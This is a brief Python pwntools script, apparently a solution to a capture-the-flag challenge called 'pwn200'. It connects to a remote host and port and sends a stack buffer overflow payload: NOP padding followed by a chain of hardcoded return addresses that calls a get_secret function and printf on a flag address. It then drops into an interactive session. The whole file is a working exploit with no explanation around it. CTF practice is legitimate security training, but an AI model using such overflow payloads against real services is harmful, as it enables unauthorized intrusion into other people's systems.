pwn200.py

from pwn import *

def hackIt():
    HOST = '54.175.35.248'
    PORT = 8006
    get_secret = 0x080489A0
    printf = 0x0804F0A0
    flag = 0x080ECA2D
    main = 0x080489E0

    payload = "\x90"*0x2d
    payload += p32(main)
    payload += p32(get_secret)
    payload += p32(printf)
    payload += p32(main)
    payload += p32(flag)

    r = remote(HOST, PORT)
    raw_input("debug?")
    r.sendline(payload)

    r.interactive()
hackIt()